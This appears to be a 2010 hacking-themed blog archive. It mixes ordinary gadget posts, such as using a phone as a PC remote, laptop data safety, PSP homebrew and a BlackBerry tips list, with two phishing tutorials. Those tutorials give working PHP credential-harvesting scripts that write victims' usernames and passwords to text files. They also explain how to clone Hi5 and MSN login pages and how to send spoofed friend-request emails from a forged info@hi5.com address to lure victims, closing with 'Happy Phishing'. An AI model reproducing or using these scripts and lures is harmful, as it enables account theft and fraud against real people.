Hackers Paradise: January 2010

Thursday, January 28, 2010

How to use your smartphone to control your PC

In this era, we have remote controls for everything. Televisions, music systems, DVD players, air conditioners, even my 5.1 channel speaker set has one. No reason then, why you shouldn't have one for your PC. I realized I was missing the remote especially because I spend so much time at my PC. Hence began my search for a PC (or laptop) remote. And guess what I found? With a couple of tricks, I can convert my mobile phone into one. Here’s how.

When I said mobile phone, I did not mean just about "any". You need a smartphone. Quite common now, are smartphones that run on Symbian Series 60-2.x with Bluetooth. Well, these would be Nokia 5320 XpressMusic, N73, E51, 5610 XpressMusic, E65, E66, E71, N95.

Here's the other doo-hickeys you need:
1. A Bluetooth dongle for your PC (latest laptops already have a Bluetooth port). This is a small USB thingy (easily available for Rs 300-500 at your local PC hardware vendor) that allows your PC to communicate with Bluetooth-based devices.
2. An application called ControlFreak available as a free download on this site

3. Winamp V2 or V5 or above. Simply, if you don't have it, download and install it.

Installing ControlFreak is really quite simple. Just double-click the .EXE file to install the application after download. You don't need to make any special configuration settings or complex registry entries. The installer will place a file called controlFreak.sis on your desktop. You need to install this file on your mobile phone. Use Bluetooth or PC Suite (for Nokia phones) to do this. Read your phone's manual to learn how to install files on it. Once installed, a new item called CtrlFreak will appear in your applications menu on your phone. Your phone is ready.

Next, you need to setup your PC (or laptop). The ControlFreak PC application will start Winamp on its own and try to configure port settings. This is where your Bluetooth dongle comes in. If Windows detects your dongle then you have nothing to do, ControlFreak will auto-configure.

If your Windows asks for software on an accompanying CD and you had to use external drivers to set it up, then you need to manually make changes. In Winamp, hit "Ctrl+F". This opens the advanced ControlFreak configurations window. Set Bluetooth driver to “Installed Other” and select the COM port you selected when installing your Bluetooth dongle. Select the Startup with Winamp checkbox if you want Winamp to activate ControlFreak every time you start Winamp.

That's it! Start the CtrlFreak application on your phone, choose "Options" and select "Connect". This will create a remote connection between your phone and PC. Here you need to enter a code to pair your phone with the PC. This is exactly like pairing two phones with Bluetooth. The default code is generally "0000". After connecting, your phone display will show Winamp. Choose Options > Computer > Desktop control (8) from the application menu. Voila! Your mobile will display exactly what you see on your PC.

All you now need is a comfy couch in front of your PC.

How to prevent data theft from your laptop

Well most of us do not want to encounter a situation when you realize your laptop is gone and so also the data stored onto it. Data theft is no less than identity theft. These days most people carry out financial transactions on the Internet and so it's not surprising that people store confidential personal information onto their laptops. The theft of such data could spell disaster for the one affected as the thief is in a position to misuse the data. You might perhaps not be able to prevent your laptop from being stolen or be even be assured to get it back in case of a theft but you can surely prevent the misuse of the data stored onto it.

Here are a few ways you can prevent your data from being misused.

Use a login password
It is always a good practice to keep a login password for your laptop as this helps to prevent anybody from intruding into your laptop when it's left unattended. Also, try and choose a password that is not a whole word; instead the initials of a sentence; for example if the sentence you choose is "I was born on 10th March 1979", then your password could be "IWBO1M1". This way it will be impossible for anyone to guess your login password. You could keep all your passwords in such a format so that it's easier for you to remember.

Use biometrics for protection
Biometric security is a method in which the user's physiological features are used for authentication. These could include facial features, fingerprint recognition or iris recognition. Nowadays most laptops have a fingerprint reader and/or a facial feature recognizing software for authentication. If your laptop has any of these features, then do not hesitate to use it as the protection offered by this means is much better than using a password.

Limit personal data storage on your laptop
We are in the habit of having instantaneous access to our data and therefore we tend to store humongous data onto our laptop, including personal ones. It is safer to limit the personal data you store onto your laptop; store only that data which you require frequently. Meanwhile keep a complete backup of your data on your desktop at home or on an external portable drive.

Encrypt and password protect your documents
Always keep important documents and files on your laptop password protected. This not only prevents others from opening the file but also helps in scenarios where the document might have been sent to someone by mistake. You can password protect MS Office files; for files you cannot password protect, use software such as Folder Lock to password protect the folder you want to. The best way to protect files is to encrypt them using encryption software as it would be hard for anyone to try to retrieve information from an encrypted file.

Encrypt and store online
If you require frequent anytime access to your documents then you could consider storing them online for free. For instance Hotmail users can upload and store their documents onto Windows Live SkyDrive-a free online storage facility. Another similar feature available for AOL users is Xdrive and for Yahoo! users it is Yahoo! Briefcase. While Yahoo! Briefcase offers 30 MB of storage space, Xdrive and Windows Live SkyDrive offer 5 GB of free storage space. There are some applications such as Norton 360, which provides online backup of your data. If you use this application you can specify your folders for backup and it automatically synchronizes with your computer and updates the files. Online storage offers security and easy accessibility to your documents but while storing your documents online, make sure you encrypt and password protect them.

Clear your web browser's cache
Always keep your web browser's cache empty and do not let the web browser store any of your login user ids or passwords. If you prefer to choose the web browser to remember the username and password, chances are that anybody accessing your laptop can log into your account. Although it is a bit tedious to enter your user id and password every time you log in, it does go a long way in keeping your data safe.

Use Kensington lock
Finally there is a way in which you can prevent your laptop from being stolen-use the Kensington lock. Most laptops come with the Kensington Security Slot commonly known as Kensington lock. It is a small, cylindrical metal-reinforced hole present on one of the side panels of laptops. You can use the Kensington lock to secure your laptop to a heavy object such as a table using the lock and cable apparatus. Though this is isn't a foolproof security system as anyone using a wire-cutter can chop the cable, it at least deters someone from stealing your laptop when you are not around.

Prevention is always better than cure, we are often told. Protect your data from being misused by securing it before it is too late!

How to beat PC heat

Heat can cause problems for your precious system by cutting down on your PC's performance, sending the motherboard to a rehab and in the process posing damage to your data. To protect your PC and the data stored in it, try these few heat busting tips:

Tip 1: The first step to take to ensure your PC is protected from heat is keeping it in a well ventilated atmosphere. Don't attempt to copy your office IT folks - they place the CPUs on the ground due to lack of office space but as we all know, the floor though seemingly cool, breeds dust and dirt that pose a danger to your PC's cooling system. Remember the good old days when your computer teacher in school instructed the class to enter the PC classroom bare feet. Well, while he may have annoyed many of you, now you know he had a point.

Tip 2: Never expose your PC to direct sunlight as it is harmful for the components resting inside. Placing it in a shady area in the room (preferably not next to your window) will keep it running smooth.

Tip 3: A regular cleaning session for your PC will work wonders. It is natural for the computer to gather dirt inside after substantial usage; this pile of dust ultimately prevents the cooling fans from keeping the system cool. The only way to tackle this is open up the PC case and spray a can of compressed air around the wires, circuits and cooling fans. While this may seem an arduous task, it is not. The PC can be opened with a regular screwdriver. In case of a laptop, you can spray around the cooling vents at the sides and bottom.

Tip 4: One way to ensure your PC doesn't heat up is by shutting it down after use in the night. In case of laptops, which heat up really fast, you might want to switch to standby mode after you are done with your work; doing so will ensure it remains cool when left idle.

Tip 5: Keeping your ears and eyes open will go a long way. If your system is asking for repeated reboots, know there is a problem and most likely it is to do with overheating. Alert yourself to noise - too much noise means your PC requires you to address the heat issue. And if the problem persists, we are afraid, it's time you took it to the service centre.

Control your PC with smartphone

How to inject speed into your old laser printer

You might have an old laser printer rusting on your desk simply because it prints at snail's pace. But instead of letting dust bunnies gather on it, you can inject speed into it by upping its memory. This way your decrepit laser printer will load and print more than one elaborate document at a time.

Here's what you need to do:

Step 1: If the printer model you're using is easily available in the market, you shouldn't have any problem getting RAM (Random Access Memory) for it at your local dealer. The other thing you could do is call the number given in the printer manual and enquire the company representative about upgrading your printer's memory. Find out the maximum upgrade you can get.

Step 2: Once you have figured out the memory you would upgrade to, order the RAM from the service center or purchase it from the market closeby. Next, refer to the manual for instructions regarding installation before actually proceeding. The user manual is like a Bible, giving you step-by-step directions regarding what you need to know about your printer.

Step 3: This is something that you've probably never done but trust us, it is really simple. Lift the back cover of the printer and locate the panel that contains the memory. Next, locate the slot for the memory card and place it there. Lest the card refuses to fit, make sure you don't force it in, else you might damage it.

Step 4: Put the cover back on properly and then press the Menu button on the printer in order to reconfigure it.

Now, next time your printer refuses to listen to your commands, you know what to do

Tuesday, January 26, 2010

Phish it easy!!!

Creating a fake login page and some social engineering trick's.

1.) First part:Creating the Fake Login Page.
In this part of the tutorial I'm going to tell you have to make a fake login page.
This method works for most of the pages but i have chosen Hi5 as an example.

Part 1:
First we create a PHP script that will save the passwords in a text file.

1.) Open notepad and put this code:

CODE

<?php
header ('Location: http://www.hi5.com/friend/login.do ');
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($ handle, "\r\n");
fclose($handle) ;
exit;
?>

2.)Now save this as phish.php
Note:

CODE

header ('Location: http://www.hi5.com/friend/login.do ');

This URL is where the victim is redirected after logging in to you fake page.
The best way to do this is to go to the original site(in this case hi5) and try to login without username and password.Of course then the site will tell you that the username/password incorrect.Now copy that url and paste in that part of the phish.php script.As you can see the hi5 has got "http://www.hi5.com/friend/login.do"
Now we have succesfully created the script that will save the password in a text file which will be later used to see logged victim password's.

Part 2:
Now we go to http://www.hi5.com and right click / View Source.
Now we need to find the place where LOGIN button in Hi5 page send the user after clicking on it.
To do that we search for something like:

CODE

action=anything.

In this case we have:

CODE

action="/friend/login. do"

We replace that part with:

CODE

action="phish.php"

Then we copy the whole source and save this file as login.php.

Now upload these 2 files(login.php and phish.php) to a webhost that supports PHP and you ready to go.Just give your victim the link to your Login.php file and every time they login that php script will create a file titled passwords.txt in the same directory as login.php and phish.php.Just open the password.txt and you will see the passwords.

The phishing link should be something like this:
http://something.awa...e.com/login. php ---> Send this to your victim

And the txt file with the passwords like this:
http://something.awa...m/passwords.txt ---> View the passwords with this one.

Another example of phishing link:
http://hi5-friendreq...e.com/login.php

Don't log in on this one,Its my phishing link. But of you do that wont bother me.

The Fake Login Page proccess is over.

Second part:Deceiving the Victim.

Now in this part we are going to see how we can deceive our victims.The way i do it is like this.

1#.Go to your inbox and find a simple hi5 Friend Request.Copy it like in the picture:

Go to http://deadfake.com/Send.aspx , scroll down for a little and paste the invitation like this:

*Now select the "Accept Friend" line.
*Click the hyperlink button.
*Paste your phishing link there.
*Click OK button.
See the pic for more:

Now fill in the fields like this :

To: victimemail@dumb.com
From: info@hi5.com
Subject: Someone has sent you a hi5 Friend Request

Then enter the security code and click send.The e-mail will look like it came from hi5 just that it will redirect the victim to your phishing link instead of hi5.com

The same can be done for facebook and many more websites of your choice.

NOTE:There is a chance that the email wont be sent sometimes.So the best it would be to send it on your own inbox just before you send it to your victim.

Well that's it for today boys and girls.I know it was a long tutorial but believe me it will worth it once you mastered .Let me know what you think.

Happy Phishing.

Phishing Tutorial

I learned some new phishing techniques that will required some background experience in PHP, the programming language, you will also need a 110MB.com account, a victim of whom you want to hack, and Notepad++ (it's not required but makes the job easier). Firstly, you may want to read here tutorial on PHP file creation. After reading that open up your Notepad or Notepad++ and enter this:

HTML (index.html) Wrote:
<html>
<head>
<title>MSN Login</title>
</head>
<body>
<p>
<form action="collect.php" method="post">
<font face="Verdana" size="4"><img class="" alt="" src="http://www.platinumstatus.ws/nick/new/MSN_logo.gif" /><br />
Name :  </font><input autocomplete="OFF" name="name" type="text" /><br />
<font face="Verdana" size="4">Username :  </font><input id="username" name="username" type="text" /><br />
<font face="Verdana" size="4">Password :  </font><input id="password" type="password" name="password" /><br />
<input id="submit" type="submit" name="submit" value=" Login " />
</form>
</p>
</body>

This is a quick login page for MSN accounts, you may want to go to MySpace, YouTube, Flickr, etc. and save their logo for your use. Next you want to create a PHP page that will bring the information enter in the form, above, and place it into a new text file. Here is the source code (REMEMBER TO SAVE IT AS COLLECT.PHP OR IF YOU DONT DO THAT THEN EDIT THE action="page.php" TO SOMETHING ELSE!):

PHP (collect.php) Wrote:
<html dir="ltr">
<head>
<title></title>
<?php
//Gather's information from previous form.
$username = $_POST['username'];
$password = $_POST['password'];
$name = $_POST['name'];

echo "Thanks," . $name . "!";

//Creates a new text file and fills in the info from the form..
$myFile = "msAccount.txt";
$fh = fopen($myFile, 'w') or die("Error.");
$msUsername = "Username:". $username ."<br />";
fwrite($fh, $msUsername);
$msPassword = "Password:". $password ."<br />";
fwrite($fh, $msPassword);
$msName = "Name:". $name ."<br />";
fwrite($fh, $msName);
fclose($fh);
?>
</head>
<body>
</body>
</html>]

The bit up above starting at $myfile = ... is a bit advanced so let me explain.

$myFile = "msAccount.txt";: Creates the new text file called msAccount.txt. If you want to change the title of the out putted file, say to loginInfo or whatever, then change it.

$fh = fopen($myFile, 'w') or die("Error.");: Creates the actually file.

$msUsername = "Username:". $username ."<br />";
fwrite($fh, $msUsername);: Carries the username from the form to the text file in text. When I've tested this with \n instead of <br /> it mysteriously doesn't work so I've used <br />.

$msPassword = "Password:". $password ."<br />";
fwrite($fh, $msPassword);: Carries the password from the form (see above).

$msName = "Name:". $name ."<br />";
fwrite($fh, $msName);: Same as above but prints the name.

fclose($fh);
?>: Closes the code.

Now that they are created go ahead and test it out. But note that the text file being created, in this case msAccount.txt, will be created in the same directory as the collect.php file. So if collect.php is in a folder called codes, the text file will only be created in that file codes.

Have fun and test it. + Rep if ya liked it!

Turn your PSP into a Gamepad

Alright if you dreamed to turn your PSP into USB Gamepad, the time has come :)
With help of new tiny application
It's very easy now, just launch GAMEPAD and attach usb cable - and that's all!
No drivers are required!

After you've connected your OS will recognize PSP as GAMEPAD with 4 Axises, POV and 12 buttons.

Compatible with both SLIM and PHAT and wait... 3K too :)

Tested with 5.0 M33-6, 5.50 GEN-A (but may work on 3.80+)

Tested OSes:
Windows XP
Windows Vista
Mac OS X Leopard
Windows 7
Linux

DOWNLOAD AND TEST IT RIGHT NOW!

Automatically download cheat codes to your PSP

PSP Developer Raing3 has released PSP CheatUp v.010, this application can simplify the task of updating cheat codes through the use of the PSP’s Wifi and a wireless internet connection. PSP CheatUp can automatically detect and install cheats for CheatMaster Fusion, coderPR, CWCheat and NitePR. So its easy to have the latest cheats installed and be completely up to date.

PSP CheatUp v0.10 Features:
Download and install cheat updates for numerous PSP cheat engines.
Display the Changelog and Gamelist of the last download cheat update.
Display the last update date and time of the cheat database.

Download

Watch streaming live TV on your PSP

PSP developer bboyjcm has released an update to PSP Live TV, the psp homebrew application derived from PSPTube that lets you play live TV streams on your PSP. This latest version includes the high memory mod, so performance is improved. Also the addition of further TV channels to the supported list of stations. The developer also recommends you choose low-speed streaming channels for better performance.

PSP Live TV 0.5 changelog:

-HighMemMod hex’ed in order to load psptube’s eboot faster & access all the psp’s available ram
-HighMemMod hex’ed to work in the same directory as PSPTube (All in one folder)
-Asx files are now simplified
-Better file & folder structure
-New eboot icon (Icon Transperency)
-Changelog , Readme & Credits are now included
-Simplified PSPTube’s Eboot (PARAM.SFO & DATA.PSP only are present)
-ASX Easy Creator v1.0 is inluded [PC ONLY]
-BugFixes
-10 channels tested & working (i’ll add some more before the release)
-rdriver.prx is now included
-THM Icon Creator version 1 is included [PC ONLY]

Download
PSP Live TV 0.5

YouTube on your PSP

PSP developer biscottealacrevette released a new version of Go!Tube, a YouTubestreaming application which is basiclly a clone of PSPtube but with some new features and more importantly, it works!. Changes in version 1.1 include the HightMemoryMod and added repository support to GoTube Updater.

Installation is easy, just make sure you place the GoTube.prs in the RADIOPLAYER folder of your memory stick and then place the GoTube folder in GAME. At first I couldn’t get this to work, but this was due to BubbleTunes Game Categories plug-in. You need to place the GoTube folder outside of any CAT_ folders (Uncatergorized)

One you have placed the folders, go to Internet Radio in your XMB and GoTube update, click the arrow logo to add the video site you want. It should download a 2kb file. Exit and then run GoTube, use Select to find YouTube for example and then hit O and enter a search term for YouTube, wait a few seconds and videos will appear for that search.

httpv://www.youtube.com/watch?v=Eh96ToFReO8

Developer notes:

Go!Tube was originally created to replace UltimatePSPtube beacause a lot of his site doesn’t work but why continue this work ? because i’m not the only dev of gotube’s script (actualy yes but I hope it will change). concretely that mean GoTube include a online updater (go to the radioplayer to use it), this online player load a list of dev and they script’s folder and display them to you. after that you can choose what site you want include in GoTube.

As you can see there is a new feature in gotube , the next site are now previewed in top of the screen (i know you understand why i’ve made that ^^) if you want remove this feature and go back to the original mode, go to the cfg.js and replace 1 by 0 in the PSP.multiView attribut

I’ll probably not read your reply so if you want to know how to make your own script , i’ve relased the API of GoTube (some parte are same as PSPtube). if you’ve never used javascript don’t try to do this job. and if you find any bug : request a debugging here : Issues -- gotube -- Project Hosting on Google Code

Download
Go! Tube version 1.1 - 3.2 MiB

125 BlackBerry Hacks

CrackBerry addicts, are you ready to take your BlackBerry to the next level? In this list, you'll find some of the most awesome tips, hacks, how-tos and guides for the BlackBerry, making it easy for just about anyone to become a power user.

Tips

These BlackBerry tips will help you work easier, better and faster.

Delete Multiple Messages: Search for messages, then press Delete Prior to delete all of the messages in the results.
Read "A Wired-In Guy Getting Set for a Big Date": Stick your wet BlackBerry, or any other doomed device, (turned off) in a bowl of uncooked rice overnight, and it will suck out the moisture.
Navigate Your Calendar Quickly: First, enable Quick Entry, then press "D" for day, "W" for week, "M" for month and "A" for agenda.
Separate SMS (Short Message Service) Messages and Emails: Select Separate in the SMS and Email Inboxes field under General Options.
Select Text on a Page: To highlight text, press Shift, then move the wheel up or down.
Delete by Date: Click a date and press Delete Prior to restore order to your mailbox while still retaining your most recent messages.
Get BlackBerry Tips, Tricks and Key-Press Shortcuts: Learn important keys, message tips and more.
Permanently Delete Emails: To ensure that you're permanently deleting emails, delete them from your email client rather than using the Delete Prior feature.
Capitalize Letters: Press and hold letters down to make them capitals.
Turn Off Messages: You can choose to turn off messages by going through your security options and modifying your firewall settings.
Get Better Coverage with Your Radio: If your coverage is not doing well, try turning your radio off and on to force a network scan.
Scroll Down: Use your spacebar to scroll down a page, then press Shift and the spacebar simultaneously to move back up.
Get BlackBerry Calendar Tricks: This post covers popular tricks for the BlackBerry's calendar.
Sync Specific Folders: Set up Folder Redirection to sync only selected email folders to your BlackBerry.
Dial Letter Numbers: Call lettered numbers like 1-800-GOOG-411 by pressing Alt, hen typing the letters.
Empty Your Phone-Call Log: Enable Call Logging, then delete items in your Phone Call Logs folder.
Insert the "@" Symbol in an Email Message. Press the spacebar to enter an "@" symbol in a message or press it twice to insert a period.
Dry Your Device with Silica Gel: If you've dropped your BlackBerry in water, dry it out with silica-gel packets, which often come in shoeboxes. This also works with silica cat litter, which is generally labeled as crystal.
Select Special Characters: Press and hold a letter key, then move the thumb wheel up or down to get the appropriate character.
Enable Content Protection: Store data on your device securely by enabling content protection.
Stop a Page from Loading. Press the Escape button to keep Web pages from loading.
Reboot Your BlackBerry: You can reboot your BlackBerry without pulling out your battery by pressing Alt, Caps and Delete simultaneously.
Dry Your BlackBerry with Alcohol: Another drying option that also disinfects is 100 percent alcohol. Turn your BlackBerry off, soak it in alcohol and take it apart as much as possible. The alcohol should evaporate with exposure to air.
Read the Top 10 Phone Tips from BlackBerry: This list includes simple tips for changing volume, speed-dialing and more.
Use Your BlackBerry as a Flashlight: The BlackBerry makes a great flashlight for middle-of-the-night runs to the fridge or the bathroom.
Delete Mail-Client Emails from Your BlackBerry: Select Purge Deleted Items under Email Reconciliation to delete emails on your mail client.

Guides

Learn how to turn your BlackBerry into a supertool with these guides.

BlackBerry on Crack: 25 Tools to Supercharge Your Lifeline: This guide offers useful tools for BlackBerry business users and more.
BlackBerry Software and Utilities: If you're looking for any aftermarket BlackBerry tweaks, this is the place to start.
Mac OS X Tethered Modem Solution for BlackBerry: Find out how to use a BlackBerry as a modem in OS X.
Voice-to-Text Voice Mail Services and Third-Party Alpha Pager Dispatch Services: Check out these services that will transcribe your BlackBerry voice mails.
What Are the Methods of Receiving Email on BlackBerry?: Read this article to figure out your email options.
BlackBerry for the Deaf and Hard of Hearing: This article explains why BlackBerry devices are great for those who are hearing impaired.
The Agony of "BlackBerry Thumb": Learn about BlackBerry-related thumb pain and what you can do about it.
Why BlackBerry?: Find out why the BlackBerry is a superior choice for some people.
BlackBerry HTML Web-Browsing FAQ: Get the lowdown on HTML browsing here.
Basic BlackBerry Etiquette: Here, you'll find a basic list of dos and don'ts for being a polite BlackBerry user.
Buying a BlackBerry on eBay: Check out this guide to learn how to avoid getting scammed when purchasing a BlackBerry from a seller on eBay.
Implementing GTD with Your BlackBerry: This guide recommends applications and more items for helping you get things done on the BlackBerry.
Transfer a File Using Bluetooth Technology Between Two BlackBerry Smart Phones: This guide will show you how to transfer files easily.
Gmail Receiving "Sent Items" You Send On Your BlackBerry: Learn how to turn off this syncing feature for Gmail and more.
BlackBerry Chat Apps/FAQ: Learn about awesome IM (instant messaging) applications and more in this guide.
Remove an IT Policy from a BlackBerry: Here, you'll find out how to rid yourself of a pesky IT policy.
Easy BlackBerry Backup: Use this guide to back up your BlackBerry in just a minute.
The First 10 Things You Should Do With Your New BlackBerry: Before you do anything else with your BlackBerry, do these 10 things.
Appear to Be in the Office While Actually Working from Home: Fool everyone by making these tweaks using your BlackBerry and more.
BlackBerry Messenger: What Is It and How Does It Work?: Get the lowdown on this BlackBerry-to-BlackBerry messaging service.
Maximize the Battery Life of Your New BlackBerry: Follow this tutorial to learn how to get the most out of your battery.

How-Tos

These how-tos will guide you through step-by-step hacks and tricks for the BlackBerry.

How to Use Your BlackBerry to Transfer Between Windows and Mac OS X: In this guide, you'll learn how to port tasks, notes, appointments and contacts from Mac OS X to Windows, and vice versa.
How to Turn on Standby Mode Using the Mute Key: Use this method to avoid pressing keys by accident.
How to Edit a Profile and Set Notifications: Here, you'll find out how to change your BlackBerry's message and email notifications.
How to Restore Your BlackBerry to Default Settings: Perform a security wipe on your device with this quick tutorial.
How to Free Up Memory on Your BlackBerry: Keep your BlackBerry from enabling the low-memory management feature with this tutorial.
How to Get Images onto Your BlackBerry: This quick tutorial offers a few easy ways to get images on your device.
How to Remove "Sent from my BlackBerry": This tutorial will walk you through the steps to changing your signature.
How to Use BlackBerry as Modem For Laptop: Give your laptop full Internet access using a BlackBerry.
How to Increase the Speed of the BlackBerry Browser: Speed things up with these simple tips.
How to Configure Full Internet Access on BlackBerry: Learn how to get full Internet access on your BlackBerry with this tutorial.
How to Install Third-Party Applications (Mac OS X): This guide will walk you through installing apps on your BlackBerry through Mac OS X.
BlackBerry 101: The How-To Lecture Series: This series covers purchasing a BlackBerry, checking out the controls, third-party apps andmuch more.
How to Disassemble a BlackBerry Pearl: Whether you're taking your Pearl apart for fun, hacking or just to air it out, here's how to do the job.
How to Secure Your BlackBerry: Keep your data safe by following the tips in this guide.
How to Clean Your BlackBerry's Trackball: Get your trackball cleaned up with this how-to.
How to Stop the Blinking: Here you'll find out what various blinking lights mean and what you can do about them.
Installing Third-Party Applications: This guide for Windows users walks you through the process of installing of apps.
How to Get BlackBerry Internet Access without a Data Plan: Avoid data plans with this hack.
How to Set up Gmail as a Free Spam Filter for Your CrackBerry: Use Gmail to keep spam out of your BlackBerry.
How to Pair a Bluetooth GPS Receiver with Your BlackBerry: Check out this Bluetooth hack to pair your BlackBerry with a GPS receiver.
How to Transfer Files to Your BlackBerry: This guide will teach you a few different methods of file transfers.
How to Use BerryDialer to Save a Lot of Money on Voice Calls: Use this dialing hack to save some cash.
Turn a Full Length DVD Movie into a Pearl Movie File: This guide shows you how to turn a DVD into an .avi file.
How to Use Your BlackBerry as an Emergency Flashlight: Learn what you need to do to turn your BlackBerry into a flashlight.
How to Remove and Clean the Trackball: Get your trackball squeaky clean with this guide.
How to Put a Full-Blown Windows Desktop Environment on Your BlackBerry: Use your microSD card slot to get Windows on your BlackBerry.

Cheat Sheets

Make shortcuts and formats with these BlackBerry cheat sheets.

Hot Keys: BlackBerry Browser: Use these hot keys when viewing Web pages.
BlackBerry Cheat Sheet: This sheet is full of useful shortcuts.
Compare Cellular: Compare Cellular offers guides to getting started as well as quick reference guides for a number of BlackBerry models.
Supported Document Types: This list offers a glimpse at the file formats that a BlackBerry can handle.
BlackBerry Shortcut Collection: This handy guide has lots of shortcuts for the BlackBerry.
Tip: Helpful Keyboard Shortcuts: This cheat sheet offers lots of shortcuts for phoning, messaging and more.
RIM BlackBerry Quick Reference Guide: Get this handy printable sheet for an easy, quick reference for your BlackBerry.
Cheat Sheet to Share: Here, you'll find loads of shortcuts.
Hot Keys: Calendar: Create appointments and view dates more quickly with these hot keys.
SMS Quick Reference: Get this quick-reference guide to learn about SMS shortcuts for the BlackBerry.
Free SMS Messages: Avoid messaging fees by sending carrier-specific emails.
What Is My Carrier's BIS (BlackBerry Internet Service) Web Site URL?: Here, you'll find BIS URLs for providers worldwide.
The BlackBerry Glossary: Find out what various acronyms stand for in this BlackBerry Glossary.
BlackBerry PIN Quick-Reference Guide: Have everything you need to know about BlackBerry PINs handy with this guide.
Hot Keys: View Word Document: Use these hot keys when working in Word.

Tools

Put these tools to work on your BlackBerry for loads of increased functionality.

BlackBerry Operating System Downloads: Find places to download a new OS here.
Berry Bloglines: Access Bloglines from your BlackBerry device using this RSS reader.
Google Maps Mobile: Get traffic, listings, maps and more with Google Maps for your BlackBerry.
Mobile Desktop: With this software, you can access your desktop PC from anywhere using your BlackBerry.
Mobylo! MultiAlarm: Get ultramanageable alarms with this neat tool.
Black & Whitelist: Keep harassing phone calls at bay using this blacklist application for the BlackBerry.
TryPhone: If you're shopping for a BlackBerry, use TryPhone to find out exactly how your model will function.
Naggie: This reminder application works with your BlackBerry's GPS to nag you about tasks when you get close to a location.
Google Mobile: Sync up your Google Calendar and more with this service.
RepliGo Professional: Using RepliGo Professional, you can view documents as if they were on your desktop computer.
Empower HTML Mail Viewer: See your emails in HTML with graphics, links and more with this tool.
Digby: Shop a number of online stores from your BlackBerry using Digby.
Spot: Get GPS on your BlackBerry with this software.
Necho Expense BlackBerry Edition: This tool makes expense reports a breeze.
Secure Password Manager: With this manager, you can safely store all of your important passwords and numbers on your BlackBerry.
BBTetris: Entertain yourself with this classic game for the BlackBerry (link opens download folder).
ABC Amber BlackBerry Convertor: Transfer contacts, emails, logs and lots more onto your desktop computer with this convertor.
iSkoot: Use this Skype client to get cheap calls on your BlackBerry.
IM+ All-in-One Mobile Messenger: IM on several different accounts and applications with this neat tool.
MicroStrategy Mobile: MicroStrategy Mobile automatically reformats documents so that they can be easily viewed on your BlackBerry.
Mobile SSH: Get access to your server from your BlackBerry using this cool tool.
Windows Live Search Mobile: Get local information, maps and searching capabilities with Windows Live Search Mobile.
StockView: Track stock prices with this free viewer (link opens download folder).
Translator+: Use this tool to get easy foreign translations on the go.
BeamBerry: Make your BlackBerry compatible with PDFs, Word documents, text files and more with this software (link opens download folder).
Beyond411: Get supercharged 411 listings using Beyond411, a service that gives you local prices, listings and GPS searches.
BlackBerry Unite!: Collaborate with up to five users by sharing remote access, calendars, documents and more with BlackBerry Unite!.
Backpack Mobile: Get organized on the go with Backback for the BlackBerry.
BlackBerry Tools: In this suite of BlackBerry tools, you'll find a number of useful applications.

Books

Find out even more in-depth tips and hacks in these BlackBerry reference books.

"BlackBerry Hacks": You'll learn how to supercharge your BlackBerry with this book.
"Professional BlackBerry": Learn how to extend your BlackBerry's functionality, get maximum uptime and more in this book.
"Hacking BlackBerry: Extreme Tech": This book discusses some of the many ways that you can hack your BlackBerry.
"How to Do Everything with Your BlackBerry": Take your BlackBerry way beyond email with this book.